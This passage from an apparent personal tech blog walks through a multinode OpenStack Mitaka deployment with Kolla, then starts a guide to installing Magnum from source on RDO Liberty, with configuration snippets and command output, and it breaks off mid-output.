1.04 GB egonzalez90/centos-binary-nova-conductor mitaka 71e00696b65a 17 hours ago 629.4 MB egonzalez90/centos-binary-nova-novncproxy mitaka 4153ed5cdfa5 17 hours ago 630 MB egonzalez90/centos-binary-nova-api mitaka 7bf702527a50 17 hours ago 629.4 MB egonzalez90/centos-binary-nova-ssh mitaka 0c71e10ba8bb 17 hours ago 630.4 MB egonzalez90/centos-binary-nova-network mitaka ff2ed3dc65ab 17 hours ago 630.4 MB egonzalez90/centos-binary-heat-api mitaka 3f3bac2b91b4 17 hours ago 592.2 MB egonzalez90/centos-binary-nova-consoleauth mitaka f7f558ed3061 17 hours ago 629.5 MB egonzalez90/centos-binary-nova-scheduler mitaka f9b8750d4812 17 hours ago 629.4 MB egonzalez90/centos-binary-heat-engine mitaka 69b416b2481c 17 hours ago 592.2 MB egonzalez90/centos-binary-heat-api-cfn mitaka 220acaf5f692 18 hours ago 592.2 MB egonzalez90/centos-binary-manila-api mitaka 3e21270b4e91 18 hours ago 588.4 MB egonzalez90/centos-binary-trove-api mitaka 68868b718307 18 hours ago 585.8 MB egonzalez90/centos-binary-manila-share mitaka 45e069ec5233 18 hours ago 637.8 MB egonzalez90/centos-binary-trove-guestagent mitaka 484a9b5b5631 18 hours ago 586.1 MB egonzalez90/centos-binary-trove-conductor mitaka 2817941fed43 18 hours ago 585.8 MB egonzalez90/centos-binary-trove-taskmanager mitaka 16fc85e299a1 18 hours ago 585.8 MB egonzalez90/centos-binary-manila-scheduler mitaka 075beb4c058e 18 hours ago 588.4 MB egonzalez90/centos-binary-designate-api mitaka 0dfb2e4b971d 18 hours ago 589.8 MB egonzalez90/centos-binary-designate-central mitaka d4ab5d846989 18 hours ago 589.8 MB egonzalez90/centos-binary-designate-poolmanager mitaka 17570055aa01 18 hours ago 594.3 MB egonzalez90/centos-binary-designate-sink mitaka 16e1113010dd 18 hours ago 589.8 MB egonzalez90/centos-binary-designate-backend-bind9 mitaka a83d15642a07 18 hours ago 594.3 MB egonzalez90/centos-binary-cinder-base mitaka ebc196468197 18 hours ago 775.3 MB egonzalez90/centos-binary-ironic-pxe mitaka 3b825ca5e758 18 hours ago 595.2 MB egonzalez90/centos-binary-ironic-api mitaka 53b3a144266a 18 hours ago 591.6 MB egonzalez90/centos-binary-zookeeper mitaka 91270c923346 18 hours ago 544.8 MB egonzalez90/centos-binary-designate-mdns mitaka 2de6dfb55068 18 hours ago 589.8 MB egonzalez90/centos-binary-ironic-inspector mitaka 631d5c362116 18 hours ago 597.4 MB egonzalez90/centos-binary-ironic-conductor mitaka aceccff4bef0 18 hours ago 620.3 MB egonzalez90/centos-binary-horizon mitaka b8a5f7db8daf 18 hours ago 690.6 MB egonzalez90/centos-binary-swift-base mitaka c98164063b84 18 hours ago 563.7 MB egonzalez90/centos-binary-mesos-base mitaka a50e0e1e8edc 18 hours ago 536.5 MB egonzalez90/centos-binary-ceilometer-base mitaka 07164b2054b8 18 hours ago 574.2 MB egonzalez90/centos-binary-glance-base mitaka b40e34f047d7 18 hours ago 688.5 MB egonzalez90/centos-binary-magnum-base mitaka bad9157e57ba 18 hours ago 668.3 MB egonzalez90/centos-binary-aodh-base mitaka 9a919ceb1213 19 hours ago 573.5 MB egonzalez90/centos-binary-neutron-base mitaka 7669e9646a22 19 hours ago 817.9 MB egonzalez90/centos-binary-gnocchi-base mitaka 509a5c7395fb 19 hours ago 817.5 MB egonzalez90/centos-binary-keystone mitaka 231990ed7b4d 19 hours ago 606.4 MB egonzalez90/centos-binary-nova-base mitaka a4523a00e9b2 19 hours ago 608.8 MB egonzalez90/centos-binary-zaqar mitaka 43b8675a9bda 19 hours ago 607.4 MB egonzalez90/centos-binary-heat-base mitaka 10662065592f 19 hours ago 572.6 MB egonzalez90/centos-binary-manila-base mitaka 215fc8275580 19 hours ago 588.4 MB egonzalez90/centos-binary-trove-base mitaka 0eda6621a5c3 19 hours ago 566.5 MB egonzalez90/centos-binary-designate-base mitaka dc53110d609c 19 hours ago 570.2 MB egonzalez90/centos-binary-dind mitaka f2e7bbe028b4 19 hours ago 539.3 MB egonzalez90/centos-binary-tempest mitaka 28cceef2319d 19 hours ago 628 MB egonzalez90/centos-binary-ironic-base mitaka 7b52957bf3a0 19 hours ago 572 MB egonzalez90/centos-binary-openvswitch-db-server mitaka a624dd2d260d 19 hours ago 379 MB egonzalez90/centos-binary-openvswitch-vswitchd mitaka 4c36af8e0e44 20 hours ago 379 MB egonzalez90/centos-binary-ceph-mon mitaka 81486c6a7605 20 hours ago 553.3 MB egonzalez90/centos-binary-kolla-toolbox mitaka 3fc4535c3d5e 20 hours ago 675.4 MB egonzalez90/centos-binary-elasticsearch mitaka 0a81ba71ec7f 20 hours ago 576.4 MB egonzalez90/centos-binary-keepalived mitaka 3559905c7d86 20 hours ago 409.3 MB egonzalez90/centos-binary-ceph-osd mitaka 26dc5c40e160 20 hours ago 553.3 MB egonzalez90/centos-binary-heka mitaka 919dd5a93ca3 20 hours ago 420.6 MB egonzalez90/centos-binary-rabbitmq mitaka 4ab020955a66 20 hours ago 552.7 MB egonzalez90/centos-binary-mesosphere-base mitaka a9f2a4c7cf1c 20 hours ago 381.9 MB egonzalez90/centos-binary-openstack-base mitaka 46a527edf49a 20 hours ago 539.3 MB egonzalez90/centos-binary-ceph-rgw mitaka f57ab1371bd3 20 hours ago 553.3 MB egonzalez90/centos-binary-openvswitch-base mitaka f91c5a909b2c 20 hours ago 379 MB egonzalez90/centos-binary-mariadb mitaka 8fe89c13a637 20 hours ago 678.6 MB egonzalez90/centos-binary-cron mitaka a239ea240c2e 20 hours ago 366.7 MB egonzalez90/centos-binary-mongodb mitaka 48946c962d7e 20 hours ago 539.2 MB egonzalez90/centos-binary-ceph-base mitaka 02be30a43c6e 20 hours ago 553.3 MB egonzalez90/centos-binary-haproxy mitaka b8d8ac3e371d 20 hours ago 367.4 MB egonzalez90/centos-binary-memcached mitaka 175026eb6466 20 hours ago 404.1 MB egonzalez90/centos-binary-kibana mitaka 885aeb0b2b97 20 hours ago 490.9 MB egonzalez90/centos-binary-mesos-dns mitaka 95e29f8429e7 21 hours ago 361 MB egonzalez90/centos-binary-base mitaka b104d01004c6 21 hours ago 349.2 MB ``` ### TARGET HOSTS In target nodes, a newer version of pip and docker-py is needed, install it. ``` sudo pip install -U pip pip install -U docker-py ``` ### DEPLOY KOLLA Kolla ships a tool to create random passwords, issue this command to run this tool. Also, you can modify passwords file at /etc/kolla/ directory. ``` kolla-genpwd ``` \| Edit globals.yml file with the following content, use your own info if necessary. | Change docker\_namespace with your docker account name. ``` vi /etc/kolla/globals.yml kolla_base_distro: "centos" kolla_install_type: "binary" openstack_release: "mitaka" ## Tag at docker hub kolla_internal_vip_address: "192.168.1.90" docker_registry: "docker.io" docker_namespace: "egonzalez90" network_interface: "eth2" neutron_external_interface: "ens9" ``` Edit the inventory file with your server\\'s IPs or hostnames. ``` vi ansible/inventory/multinode [control] # These hostname must be resolvable from your deployment host 192.168.1.77 192.168.1.74 192.168.1.78 # The network nodes are where your l3-agent and loadbalancers will run # This can be the same as a host in the control group [network] 192.168.1.77 192.168.1.74 192.168.1.78 [compute] 192.168.1.77 192.168.1.74 192.168.1.78 # When compute nodes and control nodes use different interfaces, # you can specify "api_interface" and another interfaces like below: #compute01 neutron_external_interface=eth0 api_interface=em1 storage_interface=em1 tunnel_interface=em1 [storage] 192.168.1.77 192.168.1.74 192.168.1.78 ``` Create an SSH key to login into target servers. ``` [root@kolla-deployment-node kolla]# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: bd:3e:ce:7c:2a:6b:a7:99:ed:04:cf:c2:60:5f:2f:12 root@kolla-deployment-node The key's randomart image is: +--[ RSA 2048]----+ | | | | | | | . | | o E o | | . + * o | | = * . | | o@o.. | | .=BO+ | +-----------------+ ``` Copy the SSH key you have previously created to all your target nodes. ``` [root@kolla-deployment-node kolla]# ssh-copy-id root@192.168.1.77 [root@kolla-deployment-node kolla]# ssh-copy-id root@192.168.1.74 [root@kolla-deployment-node kolla]# ssh-copy-id root@192.168.1.78 ``` \| Ensure all hostnames can be resolved between all the nodes, this is a necessary step, if not, rabbitmq will fail. | If using a DNS server you can skip this task. | Configure hosts file. ``` vi /etc/hosts 192.168.1.77 node1 192.168.1.74 node2 192.168.1.78 node3 ``` Copy hosts file to the other nodes. ``` scp /etc/hosts root@node2:/etc/hosts scp /etc/hosts root@node3:/etc/hosts ``` Execute the prechecks tool to ensure all requisites are ok. ``` [root@kolla-deployment-node kolla]# kolla-ansible prechecks -i ansible/inventory/multinode Pre-deployment checking : ansible-playbook -i ansible/inventory/multinode -e @/etc/kolla/globals.yml -e @/etc/kolla/passwords.yml -e CONFIG_DIR=/etc/kolla /usr/share/kolla/ansible/prechecks.yml PLAY [all] ******************************************************************** GATHERING FACTS *************************************************************** ok: [192.168.1.77] ok: [192.168.1.74] ok: [192.168.1.78] ....................... PLAY RECAP ******************************************************************** 192.168.1.74 : ok=63 changed=0 unreachable=0 failed=0 192.168.1.77 : ok=63 changed=0 unreachable=0 failed=0 192.168.1.78 : ok=63 changed=0 unreachable=0 failed=0 ``` \| Once all requistes are passed, start the installation of OpenStack by Kolla. | The first time usually take a long time, because docker images need to be pulled into target hosts, and more if pull comes from DockerHub registry instead of a local one. ``` [root@kolla-deployment-node kolla]# kolla-ansible deploy -i ansible/inventory/multinode Deploying Playbooks : ansible-playbook -i ansible/inventory/multinode -e @/etc/kolla/globals.yml -e @/etc/kolla/passwords.yml -e CONFIG_DIR=/etc/kolla -e action=deploy /usr/share/kolla/ansible/site.yml PLAY [ceph-mon;ceph-osd;ceph-rgw] ********************************************* GATHERING FACTS *************************************************************** ok: [192.168.1.77] ok: [192.168.1.74] ok: [192.168.1.78] TASK: [common | Ensuring config directories exist] **************************** skipping: [192.168.1.77] => (item=heka) skipping: [192.168.1.74] => (item=heka) skipping: [192.168.1.77] => (item=cron) skipping: [192.168.1.78] => (item=heka) skipping: [192.168.1.74] => (item=cron) skipping: [192.168.1.77] => (item=cron/logrotate) skipping: [192.168.1.74] => (item=cron/logrotate) skipping: [192.168.1.78] => (item=cron) skipping: [192.168.1.78] => (item=cron/logrotate) ....................... PLAY RECAP ******************************************************************** 192.168.1.74 : ok=301 changed=93 unreachable=0 failed=0 192.168.1.77 : ok=301 changed=93 unreachable=0 failed=0 192.168.1.78 : ok=301 changed=93 unreachable=0 failed=0 ``` Execute this tool to create a credential file. ``` [root@kolla-deployment-node kolla]# kolla-ansible post-deploy Post-Deploying Playbooks : ansible-playbook -i /usr/share/kolla/ansible/inventory/all-in-one -e @/etc/kolla/globals.yml -e @/etc/kolla/passwords.yml -e CONFIG_DIR=/etc/kolla /usr/share/kolla/ansible/post-deploy.yml PLAY [Creating admin openrc file on the deploy node] ************************** GATHERING FACTS *************************************************************** ok: [localhost] TASK: [template ] ************************************************************* changed: [localhost] PLAY RECAP ******************************************************************** localhost : ok=2 changed=1 unreachable=0 failed=0 ``` Source credential file. ``` [root@kolla-deployment-node kolla]# source /etc/kolla/admin-openrc.sh ``` \| Kolla ships a tool to create a base Openstack configuration layout, this will create networks, routers, images, etc. | Execute it in the newly OpenStack environment. ``` [root@kolla-deployment-node kolla]# tools/init-runonce Downloading glance image. % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 12.6M 100 12.6M 0 0 873k 0 0:00:14 0:00:14 --:--:-- 1823k Creating glance image. [=============================>] 100% +------------------+--------------------------------------+ | Property | Value | +------------------+--------------------------------------+ | checksum | ee1eca47dc88f4879d8a229cc70a07c6 | | container_format | bare | | created_at | 2016-04-15T19:41:20.000000 | | deleted | False | | deleted_at | None | | disk_format | qcow2 | | id | 0b5ec320-ace9-4b34-93cb-54fa6f2c70f5 | | is_public | False | | min_disk | 0 | | min_ram | 0 | | name | cirros | | owner | a9c2e6c6a55b40619d4f12f05aea03f1 | | protected | False | | size | 13287936 | | status | active | | updated_at | 2016-04-15T19:42:35.000000 | | virtual_size | None | +------------------+--------------------------------------+ Configuring neutron. Created a new network: +---------------------------+--------------------------------------+ | Field | Value | +---------------------------+--------------------------------------+ | admin_state_up | True | | availability_zone_hints | | | availability_zones | | | created_at | 2016-04-15T19:43:07 | | description | | | id | 12c74cdb-9218-4d8b-ab24-d5bc7f17d8c5 | | ipv4_address_scope | | | ipv6_address_scope | | | is_default | False | | mtu | 1500 | | name | public1 | | provider:network_type | flat | | provider:physical_network | physnet1 | | provider:segmentation_id | | | router:external | True | | shared | False | | status | ACTIVE | | subnets | | | tags | | | tenant_id | a9c2e6c6a55b40619d4f12f05aea03f1 | | updated_at | 2016-04-15T19:43:07 | +---------------------------+--------------------------------------+ Created a new subnet: +-------------------+----------------------------------------------+ | Field | Value | +-------------------+----------------------------------------------+ | allocation_pools | {"start": "10.0.2.150", "end": "10.0.2.199"} | | cidr | 10.0.2.0/24 | | created_at | 2016-04-15T19:43:47 | | description | | | dns_nameservers | | | enable_dhcp | False | | gateway_ip | 10.0.2.1 | | host_routes | | | id | 274bee58-68bb-4a96-bae5-41c03022a363 | | ip_version | 4 | | ipv6_address_mode | | | ipv6_ra_mode | | | name | 1-subnet | | network_id | 12c74cdb-9218-4d8b-ab24-d5bc7f17d8c5 | | subnetpool_id | | | tenant_id | a9c2e6c6a55b40619d4f12f05aea03f1 | | updated_at | 2016-04-15T19:43:47 | +-------------------+----------------------------------------------+ Created a new network: +---------------------------+--------------------------------------+ | Field | Value | +---------------------------+--------------------------------------+ | admin_state_up | True | | availability_zone_hints | | | availability_zones | | | created_at | 2016-04-15T19:44:42 | | description | | | id | 9bb7cca0-e7ea-4601-8770-7296473bdfff | | ipv4_address_scope | | | ipv6_address_scope | | | mtu | 1450 | | name | demo-net | | provider:network_type | vxlan | | provider:physical_network | | | provider:segmentation_id | 94 | | router:external | False | | shared | False | | status | ACTIVE | | subnets | | | tags | | | tenant_id | a9c2e6c6a55b40619d4f12f05aea03f1 | | updated_at | 2016-04-15T19:44:43 | +---------------------------+--------------------------------------+ Created a new subnet: +-------------------+--------------------------------------------+ | Field | Value | +-------------------+--------------------------------------------+ | allocation_pools | {"start": "10.0.0.2", "end": "10.0.0.254"} | | cidr | 10.0.0.0/24 | | created_at | 2016-04-15T19:45:25 | | description | | | dns_nameservers | 8.8.8.8 | | enable_dhcp | True | | gateway_ip | 10.0.0.1 | | host_routes | | | id | 28ef0e39-33a4-43ea-b1a6-8ea01d7c3379 | | ip_version | 4 | | ipv6_address_mode | | | ipv6_ra_mode | | | name | demo-subnet | | network_id | 9bb7cca0-e7ea-4601-8770-7296473bdfff | | subnetpool_id | | | tenant_id | a9c2e6c6a55b40619d4f12f05aea03f1 | | updated_at | 2016-04-15T19:45:25 | +-------------------+--------------------------------------------+ Created a new router: +-------------------------+--------------------------------------+ | Field | Value | +-------------------------+--------------------------------------+ | admin_state_up | True | | availability_zone_hints | | | availability_zones | | | description | | | distributed | False | | external_gateway_info | | | ha | False | | id | 53a09f8a-576a-4f83-82b0-995a26f83deb | | name | demo-router | | routes | | | status | ACTIVE | | tenant_id | a9c2e6c6a55b40619d4f12f05aea03f1 | +-------------------------+--------------------------------------+ Added interface ed81ba4c-0e51-4cd9-9810-0a9b883102c2 to router demo-router. Set gateway for router demo-router Created a new security_group_rule: +-------------------+--------------------------------------+ | Field | Value | +-------------------+--------------------------------------+ | description | | | direction | ingress | | ethertype | IPv4 | | id | 4f836611-830d-48e7-a81c-7aa65a2573a4 | | port_range_max | | | port_range_min | | | protocol | icmp | | remote_group_id | | | remote_ip_prefix | 0.0.0.0/0 | | security_group_id | c9e76d1f-d58c-4621-b402-1295d9e5168d | | tenant_id | a9c2e6c6a55b40619d4f12f05aea03f1 | +-------------------+--------------------------------------+ Created a new security_group_rule: +-------------------+--------------------------------------+ | Field | Value | +-------------------+--------------------------------------+ | description | | | direction | ingress | | ethertype | IPv4 | | id | 8cb6c081-0388-4d94-98f8-58190c574133 | | port_range_max | 22 | | port_range_min | 22 | | protocol | tcp | | remote_group_id | | | remote_ip_prefix | 0.0.0.0/0 | | security_group_id | c9e76d1f-d58c-4621-b402-1295d9e5168d | | tenant_id | a9c2e6c6a55b40619d4f12f05aea03f1 | +-------------------+--------------------------------------+ Created a new security_group_rule: +-------------------+--------------------------------------+ | Field | Value | +-------------------+--------------------------------------+ | description | | | direction | ingress | | ethertype | IPv4 | | id | 76142824-3cb2-43a5-bbd7-635aedd05666 | | port_range_max | 8000 | | port_range_min | 8000 | | protocol | tcp | | remote_group_id | | | remote_ip_prefix | 0.0.0.0/0 | | security_group_id | c9e76d1f-d58c-4621-b402-1295d9e5168d | | tenant_id | a9c2e6c6a55b40619d4f12f05aea03f1 | +-------------------+--------------------------------------+ Created a new security_group_rule: +-------------------+--------------------------------------+ | Field | Value | +-------------------+--------------------------------------+ | description | | | direction | ingress | | ethertype | IPv4 | | id | ce77b36f-a9ed-4c10-ba1f-2697ad1c8138 | | port_range_max | 8080 | | port_range_min | 8080 | | protocol | tcp | | remote_group_id | | | remote_ip_prefix | 0.0.0.0/0 | | security_group_id | c9e76d1f-d58c-4621-b402-1295d9e5168d | | tenant_id | a9c2e6c6a55b40619d4f12f05aea03f1 | +-------------------+--------------------------------------+ Configuring nova public key and quotas. ``` Check nova services status ``` [egonzalez@localhost kolla]$ nova service-list +----+------------------+-------+----------+---------+-------+----------------------------+-----------------+ | Id | Binary | Host | Zone | Status | State | Updated_at | Disabled Reason | +----+------------------+-------+----------+---------+-------+----------------------------+-----------------+ | 40 | nova-consoleauth | node3 | internal | enabled | up | 2016-04-15T20:15:44.000000 | - | | 43 | nova-consoleauth | node1 | internal | enabled | up | 2016-04-15T20:15:46.000000 | - | | 46 | nova-consoleauth | node2 | internal | enabled | up | 2016-04-15T20:15:48.000000 | - | | 49 | nova-scheduler | node3 | internal | enabled | up | 2016-04-15T20:15:50.000000 | - | | 52 | nova-scheduler | node2 | internal | enabled | up | 2016-04-15T20:15:42.000000 | - | | 55 | nova-scheduler | node1 | internal | enabled | up | 2016-04-15T20:15:43.000000 | - | | 58 | nova-conductor | node1 | internal | enabled | up | 2016-04-15T20:15:36.000000 | - | | 64 | nova-conductor | node2 | internal | enabled | up | 2016-04-15T20:15:37.000000 | - | | 70 | nova-conductor | node3 | internal | enabled | up | 2016-04-15T20:15:35.000000 | - | | 79 | nova-compute | node3 | nova | enabled | up | 2016-04-15T20:15:43.000000 | - | | 85 | nova-compute | node2 | nova | enabled | up | 2016-04-15T20:15:50.000000 | - | | 88 | nova-compute | node1 | nova | enabled | up | 2016-04-15T20:15:51.000000 | - | +----+------------------+-------+----------+---------+-------+----------------------------+-----------------+ ``` Check Neutron agents status. ``` [egonzalez@localhost kolla]$ neutron agent-list +--------------------------------------+--------------------+-------+-------+----------------+---------------------------+ | id | agent_type | host | alive | admin_state_up | binary | +--------------------------------------+--------------------+-------+-------+----------------+---------------------------+ | 08d12ccd-74cd-4e8e-9cda-3d3d2e191191 | Metadata agent | node3 | :-) | True | neutron-metadata-agent | | 0916aa0e-6d07-4398-99a5-e0e9123cef37 | DHCP agent | node1 | :-) | True | neutron-dhcp-agent | | 14707eaf-2d37-4eaf-964a-82b63d1bdc96 | Open vSwitch agent | node3 | :-) | True | neutron-openvswitch-agent | | 265a0acc-e31a-4098-842a-b139e8095056 | L3 agent | node2 | :-) | True | neutron-l3-agent | | 50869311-b3bb-4fb3-9676-d1f56d77deb0 | Metadata agent | node2 | :-) | True | neutron-metadata-agent | | 5c48b20a-1b57-4e3b-865a-f0f298ea0af8 | DHCP agent | node2 | :-) | True | neutron-dhcp-agent | | 89470cc7-6430-45a2-8ee2-852e0ba85cff | Open vSwitch agent | node2 | :-) | True | neutron-openvswitch-agent | | ba689300-c49a-46a7-8c85-e7a6daa5f2cb | DHCP agent | node3 | :-) | True | neutron-dhcp-agent | | baadfe87-db69-491b-b7ad-7f16c1468632 | Metadata agent | node1 | :-) | True | neutron-metadata-agent | | bc823fff-11a3-4f81-90d5-8f9e4a7a617a | L3 agent | node3 | :-) | True | neutron-l3-agent | | d26c860d-e5e3-4da0-b0af-f8ad3a69e9f6 | L3 agent | node1 | :-) | True | neutron-l3-agent | | e90277e7-3e46-42d0-a2fd-dce412f503dd | Open vSwitch agent | node1 | :-) | True | neutron-openvswitch-agent | +--------------------------------------+--------------------+-------+-------+----------------+---------------------------+ ``` Create a new instance and see what happens. ``` [egonzalez@localhost kolla]$ openstack server create --image cirros --flavor m1.tiny --nic net-id=demo-net demo-instance ``` Check how the instance is going. ``` [egonzalez@localhost kolla]$ openstack server list +--------------------------------------+---------------+--------+-------------------+ | ID | Name | Status | Networks | +--------------------------------------+---------------+--------+-------------------+ | b234e514-2975-47fd-a618-8ef6aa9ff2bc | demo-instance | ACTIVE | demo-net=10.0.0.3 | +--------------------------------------+---------------+--------+-------------------+ ``` Thats all for now, in future posts we will see in more detail how Kolla works. Cheers, Eduardo Gonzalez # Magnum in RDO OpenStack Liberty Manual installation from source code Want to install Magnum (Containers as a Service) in an OpenStack environment based on packages from RDO project? Here are the steps to do it: |Primary steps are the same as official Magnum guide, major differences come from DevStack or manual installations vs packages from RDO project. Also, some of the steps are explained to show how Magnum should work, as well this guide can help you understand Magnum integration with your current environment. I\\'m not going to use Barbican service for certs management, you will see how to use Magnum without Barbican too. * For now, there is not RDO packages for magnum, so we are going to install it from source code. * As i know, currently magnum packages are under development and will be added in future OpenStack versions to RDO project packages. (Probably Mitaka or Newton) Passwords used at this demo are: * temporal (Databases and OpenStack users) * guest (RabbitMQ) IPs used are: * 192.168.200.208 (Service APIs) * 192.168.100.0/24 (External network range) * 10.0.0.0/24 (Tenant network range) * 8.8.8.8 (Google DNS server) First we need to install some dependencies and packages needed for next steps. ``` sudo yum install -y gcc python-setuptools python-devel git libffi-devel openssl-devel wget ``` Install pip ``` easy_install pip ``` Clone Magnum source code from OpenStack git repository, ensure you use Liberty branch, if not, Magnum dependencies will break all OpenStack services dependencies and lost your current environment (Trust me, i\\'m talking from my own experience) ``` git clone https://git.openstack.org/openstack/magnum -b stable/liberty ``` Move to your newly created folder and install Magnum (dependency requirements and Magnum) ``` cd magnum sudo pip install -e . ``` Once Magnum is installed, create Magnum database and Magnum user ``` mysql -uroot -p CREATE DATABASE IF NOT EXISTS magnum DEFAULT CHARACTER SET utf8; GRANT ALL PRIVILEGES ON magnum.* TO'magnum'@'localhost' IDENTIFIED BY 'temporal'; GRANT ALL PRIVILEGES ON magnum.* TO'magnum'@'%' IDENTIFIED BY 'temporal'; ``` Create Magnum folder and copy sample configuration files. ``` mkdir /etc/magnum sudo cp etc/magnum/magnum.conf.sample /etc/magnum/magnum.conf sudo cp etc/magnum/policy.json /etc/magnum/policy.json ``` Edit Magnum main configuration file ``` vi /etc/magnum/magnum.conf ``` Configure messaging backend to RabbitMQ ``` [DEFAULT] rpc_backend = rabbit notification_driver = messaging ``` Bind Magnum API port to listen on all the interfaces, you can also especify on which IP Magnum API will be listening if you are concerned about security risks. ``` [api] host = 0.0.0.0 ``` Configure RabbitMQ backend ``` [oslo_messaging_rabbit] rabbit_host = 192.168.200.208 rabbit_userid = guest rabbit_password = guest rabbit_virtual_host = / ``` Set database connection ``` [database] connection=mysql://magnum:temporal@192.168.200.208/magnum ``` Set cert\_manager\_type to local, this option will disable Barbican service, you will need to create a folder (We will do it in next steps) ``` [certificates] cert_manager_type = local ``` As all OpenStack services, Keystone authentication is required. * Check what your service tenant name it is (RDO default name is \\"services\\" other installations usually use \\"service\\" name. ``` [keystone_authtoken] auth_uri=http://192.168.200.208:5000/v2.0 identity_uri=http://192.168.200.208:35357 auth_strategy=keystone admin_user=magnum admin_password=temporal admin_tenant_name=services ``` As we saw before, create local certificates folder to avoid using Barbican service. This is the step we previously commented ``` mkdir -p /var/lib/magnum/certificates/ ``` Clone python-magnumclient and install it, this package will provide us commands to use Magnum ``` git clone https://git.openstack.org/openstack/python-magnumclient -b stable/liberty cd python-magnumclient sudo pip install -e . ``` Create Magnum user at keystone ``` openstack user create --password temporal magnum ``` Add admin role to Magnum user at tenant services ``` openstack role add --project services --user magnum admin ``` Create container service ``` openstack service create --name magnum --description "Magnum Container Service" container ``` Finally create Magnum endpoints ``` openstack endpoint create --region RegionOne --publicurl 'http://192.168.200.208:9511/v1' --adminurl 'http://192.168.200.208:9511/v1' --internalurl 'http://192.168.200.208:9511/v1' magnum ``` Sync Magnum database, this step will create Magnum tables at the database ``` magnum-db-manage --config-file /etc/magnum/magnum.conf upgrade ``` Open two terminal session and execute one command on each terminal to start both services. If you encounter any issue, logs can be found at these terminal ``` magnum-api --config-file /etc/magnum/magnum.conf magnum-conductor --config-file /etc/magnum/magnum.conf ``` Check if Magnum service is fine ``` magnum service-list +----+------------+------------------+-------+ | id | host | binary | state | +----+------------+------------------+-------+ | 1 | controller | magnum-conductor | up | +----+------------+------------------+-------+ ``` Download fedora atomic image ``` wget https://fedorapeople.org/groups/magnum/fedora-21-atomic-5.qcow2 ``` Create a Glance image with Atomic.qcow2 file ``` glance image-create --name fedora-21-atomic-5 \ --visibility public \ --disk-format qcow2 \ --os-distro fedora-atomic \ --container-format bare < fedora-21-atomic-5.qcow2 +------------------+--------------------------------------+ | Property | Value | +------------------+--------------------------------------+ | checksum | cebefc0c21fb8567e662bf9f2d5b78b0 | | container_format | bare | | created_at | 2016-03-19T15:55:21Z | | disk_format | qcow2 | | id | 7293891d-cfba-48a9-a4db-72c29c65f681 | | min_disk | 0 | | min_ram | 0 | | name | fedora-21-atomic-5 | | os_distro | fedora-atomic | | owner | e3cca42ed57745148e0c342a000d99e9 | | protected | False | | size | 891355136 | | status | active | | tags | [] | | updated_at | 2016-03-19T15:55:28Z | | virtual_size | None | | visibility | public | +------------------+--------------------------------------+ ``` Create a ssh key if not exists, this command won\\'t create a new ssh key if already exists ``` test -f ~/.ssh/id_rsa.pub || ssh-keygen -t rsa -N "" -f ~/.ssh/id_rsa ``` Add the key to nova, mine is called egonzalez ``` nova keypair-add --pub-key ~/.ssh/id_rsa.pub egonzalez ``` \| Now we are going to test our new Magnum service, you have various methods to do it. | I will use Docker Swarm method because is the simplest one for this demo purposes. Go through Magnum documentation to check other container methods as Kubernetes is. Create a baymodel with atomic image and swarm, select a flavor with at least 10GB of disk ``` magnum baymodel-create --name demoswarmbaymodel \ --image-id fedora-21-atomic-5 \ --keypair-id egonzalez \ --external-network-id public \ --dns-nameserver 8.8.8.8 \ --flavor-id testflavor \ --docker-volume-size 1 \ --coe swarm +---------------------+--------------------------------------+ | Property | Value | +---------------------+--------------------------------------+ | http_proxy | None | | updated_at | None | | master_flavor_id | None | | fixed_network | None | | uuid | 887edbc7-0805-4796-be78-dfcddad8eb03 | | no_proxy | None | | https_proxy | None | | tls_disabled | False | | keypair_id | egonzalez | | public | False | | labels | {} | | docker_volume_size | 1 | | external_network_id | public | | cluster_distro | fedora-atomic | | image_id | fedora-21-atomic-5 | | registry_enabled | False | | apiserver_port | None | | name | demoswarmbaymodel | | created_at | 2016-03-19T17:22:43+00:00 | | network_driver | None | | ssh_authorized_key | None | | coe | swarm | | flavor_id | testflavor | | dns_nameserver | 8.8.8.8 | +---------------------+--------------------------------------+ ``` Create a bay with the previous bay model, we are going to create one master node and one worker, specify all that apply to your environment ``` magnum bay-create --name demoswarmbay --baymodel demoswarmbaymodel --master-count 1 --node-count 1 +--------------------+--------------------------------------+ | Property | Value | +--------------------+--------------------------------------+ | status | None | | uuid | a2388916-db30-41bf-84eb-df0b65979eaf | | status_reason | None | | created_at | 2016-03-19T17:23:00+00:00 | | updated_at | None | | bay_create_timeout | 0 | | api_address | None | | baymodel_id | 887edbc7-0805-4796-be78-dfcddad8eb03 | | node_count | 1 | | node_addresses | None | | master_count | 1 | | discovery_url | None | | name | demoswarmbay | +--------------------+--------------------------------------+ ``` Check bay status, for now it should be in CREATE\_IN\_PROGRESS state ``` magnum bay-show demoswarmbay +--------------------+--------------------------------------+ | Property | Value | +--------------------+--------------------------------------+ | status | CREATE_IN_PROGRESS | | uuid | a2388916-db30-41bf-84eb-df0b65979eaf | | status_reason | | | created_at | 2016-03-19T17:23:00+00:00 | | updated_at | 2016-03-19T17:23:01+00:00 | | bay_create_timeout | 0 | | api_address | None | | baymodel_id | 887edbc7-0805-4796-be78-dfcddad8eb03 | | node_count | 1 | | node_addresses | [] | | master_count | 1 | | discovery_url | None | | name | demoswarmbay | +--------------------+--------------------------------------+ ``` If all is going fine, nova should have two new instances(in ACTIVE state), one for the master node and second for the worker. ``` nova list +--------------------------------------+-------------------------------------------------------+--------+------------+-------------+-------------------------------------------------------------------------------+ | ID | Name | Status | Task State | Power State | Networks | +--------------------------------------+-------------------------------------------------------+--------+------------+-------------+-------------------------------------------------------------------------------+ | e38eb88c-bb6b-427d-a2c5-cdfe868796f0 | de-44kx2l4q4wc-0-d6j5svvjxmne-swarm_node-xafkm2jskf5j | ACTIVE | - | Running | demoswarmbay-agf6y3qnjoyw-fixed_network-g37bcmc52akv=10.0.0.4, 192.168.100.16 | | 5acc579d-152a-4656-9eb8-e800b7ab3bcf | demoswarmbay-agf6y3qnjoyw-swarm_master-fllwhrpuabbq | ACTIVE | - | Running | demoswarmbay-agf6y3qnjoyw-fixed_network-g37bcmc52akv=10.0.0.3, 192.168.100.15 | +--------------------------------------+-------------------------------------------------------+--------+------------+-------------+-------------------------------------------------------------------------------+ ``` You can see how heat stack is going ``` heat stack-list +--------------------------------------+---------------------------+--------------------+---------------------+--------------+ | id | stack_name | stack_status | creation_time | updated_time | 